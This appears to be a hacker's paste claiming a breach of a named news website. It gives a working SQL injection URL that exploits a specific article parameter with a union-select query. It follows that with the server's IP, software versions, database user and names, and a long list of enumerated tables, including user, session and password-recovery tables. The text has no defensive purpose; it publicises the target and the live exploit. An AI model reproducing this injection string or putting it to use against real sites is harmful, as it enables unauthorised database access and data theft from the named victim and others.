www.bayareareporter.org hacked by SEPO

Target:http://www.bayareareporter.org

Sqli:http://www.bayareareporter.org/news/article.php?sec=news&article=-5000+union+select+1,table_name,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7+from+information_schema.columns+where+column_name+like+%22%login%%22+limit+0,1--+

Info:
Host IP:	72.51.47.95
Web Server: 	Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 PHP/5.3.3
Powered-by: 	PHP/5.3.3
DB Server: 	MySQL
Resp. Time(avg):855 ms
Current User: 	ebar_ebar@localhost
Sql Version: 	5.0.92-community
System User: 	ebar_ebar@localhost
Host Name: 	demon.destroyer.net
Installation dir:/
DB User: 	'ebar_ebar'@'localhost'
Data Bases: 	information_schema
		ebar_advertising
		ebar_eba

[unknown_DB]
Tables:
 CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,KEY_COLUMN_USAGE,PROFILING,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,STATISTICS,TABLES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGES,VIEWS,banner_vast_element_seq,ox_account_preference_assoc,ox_account_user_assoc,ox_account_user_permission_assoc,ox_accounts,ox_acls,ox_acls_channel,ox_ad_category_assoc,ox_ad_zone_assoc,ox_affiliates,ox_affiliates_extra,ox_agency,ox_application_variable,ox_audit,ox_banner_vast_element,ox_banners,ox_campaigns,ox_campaigns_trackers,ox_category,ox_channel,ox_clients,ox_data_bkt_a,ox_data_bkt_a_var,ox_data_bkt_c,ox_data_bkt_m,ox_data_bkt_r,ox_data_bkt_vast_e,ox_data_intermediate_ad,ox_data_intermediate_ad_connection,ox_data_intermediate_ad_variable_value,ox_data_raw_ad_click,ox_data_raw_ad_impression,ox_data_raw_ad_request,ox_data_raw_tracker_impression,ox_data_raw_tracker_variable_value,ox_data_summary_ad_hourly,ox_data_summary_ad_zone_assoc,ox_data_summary_channel_daily,ox_data_summa

[ebar_advertising]
Table found: banner_vast_element_seq
Table found: ox_account_preference_assoc
Table found: ox_account_user_assoc
Table found: ox_account_user_permission_assoc
Table found: ox_accounts
Table found: ox_acls
Table found: ox_acls_channel
Table found: ox_ad_category_assoc
Table found: ox_ad_zone_assoc
Table found: ox_affiliates
Table found: ox_affiliates_extra
Table found: ox_agency
Table found: ox_application_variable
Table found: ox_audit
Table found: ox_banner_vast_element
Table found: ox_banners
Table found: ox_campaigns
Table found: ox_campaigns_trackers
Table found: ox_category
Table found: ox_channel
Table found: ox_clients
Table found: ox_data_bkt_a
Table found: ox_data_bkt_a_var
Table found: ox_data_bkt_c
Table found: ox_data_bkt_m
Table found: ox_data_bkt_r
Table found: ox_data_bkt_vast_e
Table found: ox_data_intermediate_ad
Table found: ox_data_intermediate_ad_connection
Table found: ox_data_intermediate_ad_variable_value
Table found: ox_data_raw_ad_click
Table found: ox_data_raw_ad_impression
Table found: ox_data_raw_ad_request
Table found: ox_data_raw_tracker_impression
Table found: ox_data_raw_tracker_variable_value
Table found: ox_data_summary_ad_hourly
Table found: ox_data_summary_ad_zone_assoc
Table found: ox_data_summary_channel_daily
Table found: ox_data_summary_zone_impression_history
Table found: ox_database_action
Table found: ox_ext_market_advertiser
Table found: ox_ext_market_assoc_data
Table found: ox_ext_market_campaign_pref
Table found: ox_ext_market_general_pref
Table found: ox_ext_market_plugin_variable
Table found: ox_ext_market_setting
Table found: ox_ext_market_stats
Table found: ox_ext_market_web_stats
Table found: ox_ext_market_website_pref
Table found: ox_images
Table found: ox_log_maintenance_forecasting
Table found: ox_log_maintenance_priority
Table found: ox_log_maintenance_statistics
Table found: ox_password_recovery
Table found: ox_placement_zone_assoc
Table found: ox_preferences
Table found: ox_session
Table found: ox_stats_vast
Table found: ox_targetstats
Table found: ox_tracker_append
Table found: ox_trackers
Table found: ox_upgrade_action
Table found: ox_userlog
Table found: ox_users
Table found: ox_variable_publisher
Table found: ox_variables
Table found: ox_z_12031aa9db4a5c58
Table found: ox_z_1c5c022a8e44ff3a
Table found: ox_z_24e6fabeee957172
...

                                Follow me on Twitter --> @anon_4freedom
                                           LulzBoat is Back!!!